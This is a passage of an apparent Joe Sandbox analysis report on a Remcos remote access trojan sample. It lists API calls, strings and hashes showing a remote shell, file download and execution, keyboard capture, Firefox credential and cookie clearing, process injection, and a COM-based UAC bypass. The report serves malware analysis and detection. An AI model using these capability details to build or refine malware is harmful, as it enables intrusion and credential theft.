                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 806969131-0
                                                                                                                                                                  • Opcode ID: b143fc5c6894dc50f93e5526221a244408d4657bcec4ada42a0f1b5aca1b3c68
                                                                                                                                                                  • Instruction ID: ae9b6128b1ea9ffe86f5afd704093ee73625e806026b45b402e8089d921c29d6
                                                                                                                                                                  • Opcode Fuzzy Hash: b143fc5c6894dc50f93e5526221a244408d4657bcec4ada42a0f1b5aca1b3c68
                                                                                                                                                                  • Instruction Fuzzy Hash: E1D0A7F101C3805C9D2062752C036561344A809B78FB036CFF174D5DC1EE2D8840A41E
                                                                                                                                                                  Function 0044EEB5 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 300 44eeb5-44eec2 call 448706 302 44eec7-44eed2 300->302 303 44eed4-44eed6 302->303 304 44eed8-44eee0 302->304 305 44ef20-44ef2e call 446ac5 303->305 304->305 306 44eee2-44eee6 304->306 308 44eee8-44ef1a call 44772e 306->308 312 44ef1c-44ef1f 308->312 312->305
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00448706: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00446F74,00000001,00000364,?,0043A846,00000000,00000000,00000000,00000000,00000000,00000000,00402C08), ref: 00448747
                                                                                                                                                                  • _free.LIBCMT ref: 0044EF21
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AllocateHeap_free
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 614378929-0
                                                                                                                                                                  • Opcode ID: 7b4a2f6e9a04df5b0dd70cdaf72135a4707c1be432060349675b23e62071eba1
                                                                                                                                                                  • Instruction ID: 91765bf56145836b352927287b0900a7be963fc320189fecf9c5ab0789588b10
                                                                                                                                                                  • Opcode Fuzzy Hash: 7b4a2f6e9a04df5b0dd70cdaf72135a4707c1be432060349675b23e62071eba1
                                                                                                                                                                  • Instruction Fuzzy Hash: 2D01DB771043056BF321CF66984595AFBD9FB8A370F65051EE59453280EB34A806C778
                                                                                                                                                                  Function 00448706 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00446F74,00000001,00000364,?,0043A846,00000000,00000000,00000000,00000000,00000000,00000000,00402C08), ref: 00448747
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AllocateHeap
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1279760036-0
                                                                                                                                                                  • Opcode ID: de2f67f7923a31b36d9b5f834b48d2b0e0f5da7a677d300afd471130a21967f0
                                                                                                                                                                  • Instruction ID: 09342868e9f2d6cc7f7b696f5049c05c0568eaa44df27644d65b9450949fa691
                                                                                                                                                                  • Opcode Fuzzy Hash: de2f67f7923a31b36d9b5f834b48d2b0e0f5da7a677d300afd471130a21967f0
                                                                                                                                                                  • Instruction Fuzzy Hash: 9CF0E93250412467BB216A369D55B5F7748AF427B0B34802BFC08EA691DF68DD4182ED
                                                                                                                                                                  Function 00446AFF Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • RtlAllocateHeap.NTDLL(00000000,00434423,?,?,00437227,?,?,00000000,00475B70,?,0040CC87,00434423,?,?,?,?), ref: 00446B31
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AllocateHeap
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1279760036-0
                                                                                                                                                                  • Opcode ID: dc6ea950822f8571e228d4b4fa6025b1dc9324ca9cf531c4426aa18bd07b2452
                                                                                                                                                                  • Instruction ID: 23017b4f7b15ec8d1e6c8205d578d5100ba2a3a3bb6c043e3f5ab96588fe2cc9
                                                                                                                                                                  • Opcode Fuzzy Hash: dc6ea950822f8571e228d4b4fa6025b1dc9324ca9cf531c4426aa18bd07b2452
                                                                                                                                                                  • Instruction Fuzzy Hash: 16E0E5312002B556FB202A6A9C05F5B7A88DB437A4F160133AC09D62D0CF5CEC4181AF

                                                                                                                                                                  Non-executed Functions

                                                                                                                                                                  Function 00406F06 Relevance: 46.3, APIs: 10, Strings: 16, Instructions: 849filesleepCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • SetEvent.KERNEL32(?,?), ref: 00406F28
                                                                                                                                                                  • GetFileAttributesW.KERNEL32(00000000,00000000,00000000), ref: 00406FF8
                                                                                                                                                                  • DeleteFileW.KERNEL32(00000000), ref: 00407018
                                                                                                                                                                    • Part of subcall function 0041B42F: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B489
                                                                                                                                                                    • Part of subcall function 0041B42F: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B4BB
                                                                                                                                                                    • Part of subcall function 0041B42F: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B50C
                                                                                                                                                                    • Part of subcall function 0041B42F: FindClose.KERNEL32(00000000,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B561
                                                                                                                                                                    • Part of subcall function 0041B42F: RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B568
                                                                                                                                                                    • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                                                                                                    • Part of subcall function 00406BE9: CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000), ref: 00406C38
                                                                                                                                                                    • Part of subcall function 00406BE9: WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00406C80
                                                                                                                                                                    • Part of subcall function 00406BE9: CloseHandle.KERNEL32(00000000), ref: 00406CC0
                                                                                                                                                                    • Part of subcall function 00406BE9: MoveFileW.KERNEL32 ref: 00406CDD
                                                                                                                                                                    • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                                                                                                                                    • Part of subcall function 00404468: WaitForSingleObject.KERNEL32(?,00000000,00401943,?,?,00000004,?,?,00000004,00475B70,00473EE8,00000000), ref: 0040450E
                                                                                                                                                                    • Part of subcall function 00404468: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,00475B70,00473EE8,00000000,?,?,?,?,?,00401943), ref: 0040453C
                                                                                                                                                                  • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00407416
                                                                                                                                                                  • GetLogicalDriveStringsA.KERNEL32 ref: 004074F5
                                                                                                                                                                  • SetFileAttributesW.KERNEL32(00000000,?,00000000,00000001), ref: 0040773A
                                                                                                                                                                  • DeleteFileA.KERNEL32(?), ref: 004078CC
                                                                                                                                                                    • Part of subcall function 00407A8C: __EH_prolog.LIBCMT ref: 00407A91
                                                                                                                                                                    • Part of subcall function 00407A8C: FindFirstFileW.KERNEL32(00000000,?,00465AA0,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407B4A
                                                                                                                                                                    • Part of subcall function 00407A8C: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407B6E
                                                                                                                                                                  • Sleep.KERNEL32(000007D0), ref: 00407976
                                                                                                                                                                  • StrToIntA.SHLWAPI(00000000), ref: 004079BA
                                                                                                                                                                    • Part of subcall function 0041BB77: SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 0041BC6C
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$Find$AttributesCloseDeleteDirectoryEventFirstNextRemove$CreateDriveExecuteH_prologHandleInfoLocalLogicalMoveObjectParametersShellSingleSleepStringsSystemTimeWaitWritesend
                                                                                                                                                                  • String ID: Browsing directory: $Deleted file: $Downloaded file: $Downloading file: $Executing file: $Failed to download file: $H@G$Unable to delete: $Unable to rename file!$V>G$open$x@G$x@G$x@G$x@G$>G
                                                                                                                                                                  • API String ID: 2918587301-599666313
                                                                                                                                                                  • Opcode ID: fe774ec57ea4c9c98434e9a8a4b205946b127d152570ca2712e415059fb31443
                                                                                                                                                                  • Instruction ID: 8a4068a2e00c67808ff4e441dc576a613f01372a1abbdcb91e63f440e0dcd641
                                                                                                                                                                  • Opcode Fuzzy Hash: fe774ec57ea4c9c98434e9a8a4b205946b127d152570ca2712e415059fb31443
                                                                                                                                                                  • Instruction Fuzzy Hash: 60429371A043005BC614F776C8979AE77A99F90718F40493FF946731E2EE3CAA09C69B
                                                                                                                                                                  Function 00405042 Relevance: 38.8, APIs: 15, Strings: 7, Instructions: 280pipesleepfileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • __Init_thread_footer.LIBCMT ref: 0040508E
                                                                                                                                                                    • Part of subcall function 004334CF: EnterCriticalSection.KERNEL32(00470D18,00475BF0,?,004017C1,00475BF0,00000000), ref: 004334D9
                                                                                                                                                                    • Part of subcall function 004334CF: LeaveCriticalSection.KERNEL32(00470D18,?,004017C1,00475BF0,00000000), ref: 0043350C
                                                                                                                                                                    • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                                                                                                  • __Init_thread_footer.LIBCMT ref: 004050CB
                                                                                                                                                                  • CreatePipe.KERNEL32(00475CEC,00475CD4,00475BF8,00000000,0046556C,00000000), ref: 0040515E
                                                                                                                                                                  • CreatePipe.KERNEL32(00475CD8,00475CF4,00475BF8,00000000), ref: 00405174
                                                                                                                                                                  • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00475C08,00475CDC), ref: 004051E7
                                                                                                                                                                    • Part of subcall function 00433519: EnterCriticalSection.KERNEL32(00470D18,00475B70,00475BF0,?,0040179E,00475BF0), ref: 00433524
                                                                                                                                                                    • Part of subcall function 00433519: LeaveCriticalSection.KERNEL32(00470D18,?,0040179E,00475BF0), ref: 00433561
                                                                                                                                                                  • Sleep.KERNEL32(0000012C,00000093,?), ref: 0040523F
                                                                                                                                                                  • PeekNamedPipe.KERNEL32 ref: 00405264
                                                                                                                                                                  • ReadFile.KERNEL32(00000000,?,?,00000000), ref: 00405291
                                                                                                                                                                    • Part of subcall function 004338A5: __onexit.LIBCMT ref: 004338AB
                                                                                                                                                                  • WriteFile.KERNEL32(00000000,00000000,?,00000000,00473F98), ref: 0040538E
                                                                                                                                                                  • Sleep.KERNEL32(00000064,00000062,00465554), ref: 004053A8
                                                                                                                                                                  • TerminateProcess.KERNEL32(00000000), ref: 004053C1
                                                                                                                                                                  • CloseHandle.KERNEL32 ref: 004053CD
                                                                                                                                                                  • CloseHandle.KERNEL32 ref: 004053D5
                                                                                                                                                                  • CloseHandle.KERNEL32 ref: 004053E7
                                                                                                                                                                  • CloseHandle.KERNEL32 ref: 004053EF
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseCriticalHandleSection$CreatePipe$EnterFileInit_thread_footerLeaveProcessSleep$NamedPeekReadTerminateWrite__onexitsend
                                                                                                                                                                  • String ID: P\G$P\G$P\G$P\G$P\G$SystemDrive$cmd.exe
                                                                                                                                                                  • API String ID: 3815868655-81343324
                                                                                                                                                                  • Opcode ID: 347f2c88b3c2668be74fabae2308f42da89957fbc9a464020775b19edc51cc58
                                                                                                                                                                  • Instruction ID: b18bac6d60c4c725a58799f80733fb47b3e4e6a61b1262bf76379e9ec18ff918
                                                                                                                                                                  • Opcode Fuzzy Hash: 347f2c88b3c2668be74fabae2308f42da89957fbc9a464020775b19edc51cc58
                                                                                                                                                                  • Instruction Fuzzy Hash: A691E5716007056FD705BB65AC41A6F37A8EB80348F50403FF94ABA1E2EEBC9C448B6D
                                                                                                                                                                  Function 00410F36 Relevance: 33.5, APIs: 7, Strings: 12, Instructions: 238threadCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetCurrentProcessId.KERNEL32 ref: 00410F45
                                                                                                                                                                    • Part of subcall function 004127D5: RegCreateKeyA.ADVAPI32(80000001,00000000,TUF), ref: 004127E3
                                                                                                                                                                    • Part of subcall function 004127D5: RegSetValueExA.ADVAPI32(TUF,000000AF,00000000,00000004,00000001,00000004), ref: 004127FE
                                                                                                                                                                    • Part of subcall function 004127D5: RegCloseKey.ADVAPI32(?), ref: 00412809
                                                                                                                                                                  • OpenMutexA.KERNEL32 ref: 00410F81
                                                                                                                                                                  • CreateThread.KERNEL32(00000000,00000000,00411637,00000000,00000000,00000000), ref: 00410FE6
                                                                                                                                                                    • Part of subcall function 004124B7: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,00000000), ref: 004124D7
                                                                                                                                                                    • Part of subcall function 004124B7: RegQueryValueExA.ADVAPI32 ref: 004124F5
                                                                                                                                                                    • Part of subcall function 004124B7: RegCloseKey.ADVAPI32(00000000), ref: 00412500
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00410F90
                                                                                                                                                                    • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                                                                                                                                  • OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 0041125A
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseOpen$CreateProcessValue$CurrentHandleLocalMutexQueryThreadTime
                                                                                                                                                                  • String ID: 0DG$Remcos restarted by watchdog!$WDH$Watchdog launch failed!$Watchdog module activated$WinDir$\SysWOW64\$\system32\$fsutil.exe$rmclient.exe$svchost.exe$BG
                                                                                                                                                                  • API String ID: 65172268-860466531
                                                                                                                                                                  • Opcode ID: c59a9ba99b2cc187f19442751e4719393b3c5f539a1bb9958299626df8d8cbdd
                                                                                                                                                                  • Instruction ID: 2ec41641ff7d981187ed77e29e7d519fc89a207972baa733902a05010441332b
                                                                                                                                                                  • Opcode Fuzzy Hash: c59a9ba99b2cc187f19442751e4719393b3c5f539a1bb9958299626df8d8cbdd
                                                                                                                                                                  • Instruction Fuzzy Hash: 97719E3160420157C614FB32D8579AE77A8AED4718F40053FF582A21F2EF7CAA49869F
                                                                                                                                                                  Function 0040B335 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 145fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040B3B4
                                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 0040B3CE
                                                                                                                                                                  • FindNextFileA.KERNEL32(00000000,?), ref: 0040B4F1
                                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 0040B517
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Find$CloseFile$FirstNext
                                                                                                                                                                  • String ID: [Firefox StoredLogins Cleared!]$[Firefox StoredLogins not found]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\key3.db$\logins.json
                                                                                                                                                                  • API String ID: 1164774033-3681987949
                                                                                                                                                                  • Opcode ID: 012abd7bd482f24294ec220c5f3416e7c12077f4aefc2c6d47742caa5bc96ad8
                                                                                                                                                                  • Instruction ID: 89bba1744b34cafda07904381260291e44814ca984bf7dbd554ee600cd7873bd
                                                                                                                                                                  • Opcode Fuzzy Hash: 012abd7bd482f24294ec220c5f3416e7c12077f4aefc2c6d47742caa5bc96ad8
                                                                                                                                                                  • Instruction Fuzzy Hash: 4D512C319042195ADB14FBA1EC96AEE7768EF50318F50007FF805B31E2EF389A45CA9D
                                                                                                                                                                  Function 0040B53A Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 130fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040B5B2
                                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 0040B5CC
                                                                                                                                                                  • FindNextFileA.KERNEL32(00000000,?), ref: 0040B68C
                                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 0040B6B2
                                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 0040B6D1
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Find$Close$File$FirstNext
                                                                                                                                                                  • String ID: [Firefox Cookies not found]$[Firefox cookies found, cleared!]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\cookies.sqlite
                                                                                                                                                                  • API String ID: 3527384056-432212279
                                                                                                                                                                  • Opcode ID: eec28e5122cf95747afd0231d26089d1190572cbd646818cfb2ab67d48c7021b
                                                                                                                                                                  • Instruction ID: 41d59f58487c11b5b23c2ebc8e3123b77d6604a8f5f59a85184e8f88ff1ca84c
                                                                                                                                                                  • Opcode Fuzzy Hash: eec28e5122cf95747afd0231d26089d1190572cbd646818cfb2ab67d48c7021b
                                                                                                                                                                  • Instruction Fuzzy Hash: 65413A319042196ACB14F7A1EC569EE7768EE21318F50017FF801B31E2EF399A458A9E
                                                                                                                                                                  Function 0040E219 Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 212processCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,?,?,00474358), ref: 0040E233
                                                                                                                                                                  • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040E25E
                                                                                                                                                                  • Process32FirstW.KERNEL32(00000000,0000022C), ref: 0040E27A
                                                                                                                                                                  • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040E2FD
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0040E30C
                                                                                                                                                                    • Part of subcall function 004127D5: RegCreateKeyA.ADVAPI32(80000001,00000000,TUF), ref: 004127E3
                                                                                                                                                                    • Part of subcall function 004127D5: RegSetValueExA.ADVAPI32(TUF,000000AF,00000000,00000004,00000001,00000004), ref: 004127FE
                                                                                                                                                                    • Part of subcall function 004127D5: RegCloseKey.ADVAPI32(?), ref: 00412809
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0040E371
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Close$CreateHandleProcess32$FileFirstModuleNameNextSnapshotToolhelp32Value
                                                                                                                                                                  • String ID: C:\Program Files(x86)\Internet Explorer\$Inj$ieinstal.exe$ielowutil.exe$BG
                                                                                                                                                                  • API String ID: 726551946-3025026198
                                                                                                                                                                  • Opcode ID: 2298112d5e9beca4c64cadb89c7e546d0899f31810f4b1b50fdabc55d78eae7e
                                                                                                                                                                  • Instruction ID: ae31f71cb8b9f969ca9e83e5ca698076ed3bac053ed440982de07d1dc4d90588
                                                                                                                                                                  • Opcode Fuzzy Hash: 2298112d5e9beca4c64cadb89c7e546d0899f31810f4b1b50fdabc55d78eae7e
                                                                                                                                                                  • Instruction Fuzzy Hash: ED7172311083019BC714FB61D8519EF77A5BF91358F400D3EF986631E2EF38A959CA9A
                                                                                                                                                                  Function 004159C6 Relevance: 18.1, APIs: 12, Instructions: 80clipboardmemoryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • OpenClipboard.USER32 ref: 004159C7
                                                                                                                                                                  • EmptyClipboard.USER32 ref: 004159D5
                                                                                                                                                                  • GlobalAlloc.KERNEL32(00002000,-00000002), ref: 004159F5
                                                                                                                                                                  • GlobalLock.KERNEL32(00000000), ref: 004159FE
                                                                                                                                                                  • GlobalUnlock.KERNEL32(00000000), ref: 00415A34
                                                                                                                                                                  • SetClipboardData.USER32(0000000D,00000000), ref: 00415A3D
                                                                                                                                                                  • CloseClipboard.USER32 ref: 00415A5A
                                                                                                                                                                  • OpenClipboard.USER32 ref: 00415A61
                                                                                                                                                                  • GetClipboardData.USER32 ref: 00415A71
                                                                                                                                                                  • GlobalLock.KERNEL32(00000000), ref: 00415A7A
                                                                                                                                                                  • GlobalUnlock.KERNEL32(00000000), ref: 00415A83
                                                                                                                                                                  • CloseClipboard.USER32 ref: 00415A89
                                                                                                                                                                    • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmptysend
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3520204547-0
                                                                                                                                                                  • Opcode ID: 5bf6c0a188ebc9cd77caef7c6d8a55023eea9b799c8747cd0bf31199529283f8
                                                                                                                                                                  • Instruction ID: b8e523df9fc7c7245f85f50a48877f09888e29e8b5459684195c928b546a98bf
                                                                                                                                                                  • Opcode Fuzzy Hash: 5bf6c0a188ebc9cd77caef7c6d8a55023eea9b799c8747cd0bf31199529283f8
                                                                                                                                                                  • Instruction Fuzzy Hash: E02183712043009BC714BBB1EC5AAAE76A9AF80752F00453EFD06961E2EF38C845D66A
                                                                                                                                                                  Function 00418754 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 197COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID: 0$1$2$3$4$5$6$7
                                                                                                                                                                  • API String ID: 0-3177665633
                                                                                                                                                                  • Opcode ID: cde1b3d257b3b84ac0aca3a867a652d949c29c2e455d7912b36e5a4a136b74f3
                                                                                                                                                                  • Instruction ID: 2879f211a781d1662389055333b9a248a4bc7621c6500268a6892da51c348380
                                                                                                                                                                  • Opcode Fuzzy Hash: cde1b3d257b3b84ac0aca3a867a652d949c29c2e455d7912b36e5a4a136b74f3
                                                                                                                                                                  • Instruction Fuzzy Hash: CC61A370508301AEDB00EF21D862FEA77E4AF85754F40485EFA91672E1DF789A48C797
                                                                                                                                                                  Function 00409B10 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 108keyboardthreadCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Unicode$KeyboardStateWindow$ForegroundLayoutProcessThread
                                                                                                                                                                  • String ID: 8[G
                                                                                                                                                                  • API String ID: 1888522110-1691237782
                                                                                                                                                                  • Opcode ID: 0057a6b8e9be89c2a124ace2c7aa15ce6e2280d77a8450e2501583d43799386c
                                                                                                                                                                  • Instruction ID: f24a8317de74a0bbad47f265c67a45df51816e9018bfad09e00086f3728f1c27
                                                                                                                                                                  • Opcode Fuzzy Hash: 0057a6b8e9be89c2a124ace2c7aa15ce6e2280d77a8450e2501583d43799386c
                                                                                                                                                                  • Instruction Fuzzy Hash: EE318172508309AFD700DF90DC85FDBB7ECEB48715F00083ABA45961A1D6B5E948DB96
                                                                                                                                                                  Function 00406764 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 55COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • _wcslen.LIBCMT ref: 00406788
                                                                                                                                                                  • CoGetObject.OLE32(?,00000024,004659B0,00000000), ref: 004067E9
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Object_wcslen
                                                                                                                                                                  • String ID: $$Elevation:Administrator!new:$[+] CoGetObject$[+] CoGetObject SUCCESS$[+] ucmAllocateElevatedObject$[-] CoGetObject FAILURE${3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                                                                                                                                                                  • API String ID: 240030777-3166923314
                                                                                                                                                                  • Opcode ID: db32128b02a1ccbc70c4588b7822f6c775a314ba91b6364ff21a4127614396bf
                                                                                                                                                                  • Instruction ID: dba8c49f7cecafb8ed31af17d29d910bb03d3c12ecd117c8e18c4d6c9c114880
                                                                                                                                                                  • Opcode Fuzzy Hash: db32128b02a1ccbc70c4588b7822f6c775a314ba91b6364ff21a4127614396bf
                                                                                                                                                                  • Instruction Fuzzy Hash: 811170B2901118AEDB10FAA5884AA9EB7BCDB48714F55007FE905F3281E7789A148A7D
                                                                                                                                                                  Function 004198C2 Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,004748F8), ref: 004198D8
